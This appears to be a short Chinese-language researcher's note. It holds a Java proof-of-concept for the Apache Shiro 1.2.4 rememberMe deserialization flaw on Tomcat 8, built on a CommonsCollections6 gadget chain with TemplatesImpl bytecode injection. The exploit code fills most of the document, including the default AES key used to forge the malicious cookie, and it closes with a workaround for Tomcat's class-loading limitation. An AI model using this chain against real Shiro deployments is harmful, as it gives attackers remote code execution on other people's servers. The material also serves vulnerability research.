环境 Shiro1.2.4(小于1.2.4) + Tomcat8
Shiro+Tomcat反序列化,手动添加CC依赖,下面是POC
public class cc6shiro {public static byte[] payload() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clz = pool.get(bad.evilClz.class.getName());byte[] shellcode = clz.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());// tmpl.getOutputProperties();Transformer transformerChain = new InvokerTransformer("getClass",null,null);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map,transformerChain);// LazyMap在调用get方法的时候会触发transformer.transformTiedMapEntry tMap = new TiedMapEntry(lazyMap,tmpl);// TiedMapEntry的hashcode会调用getValue方法,getValue方法中会调用this.map.get方法.// lazyMap.remove("keykey");Map expMap = new HashMap();expMap.put(tMap, "valuevalue");// 要使得Key不存在.调用get方法时才能触发transform方法.lazyMap.clear();Reflections.setFieldValue(transformerChain,"iMethodName","getOutputProperties");return Serializer.Serialize(expMap);}public static String getPayload() throws Exception{byte[] payload = payload();AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payload, key);return "rememberMe="+ ciphertext.toString();}}
难点: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
因为Shiro+Tomcat的环境下,Tomcat会调用自身的类加载器,比较特殊。
方法是修改下面的链:抽离 tmpl 为 Map 的 Key即可. 这是之前没用用到的点.
Transformer[] transformers = new Transformer[]{new ConstantTransformer(tmpl),new InvokerTransformer("newTransformer",null,null),};
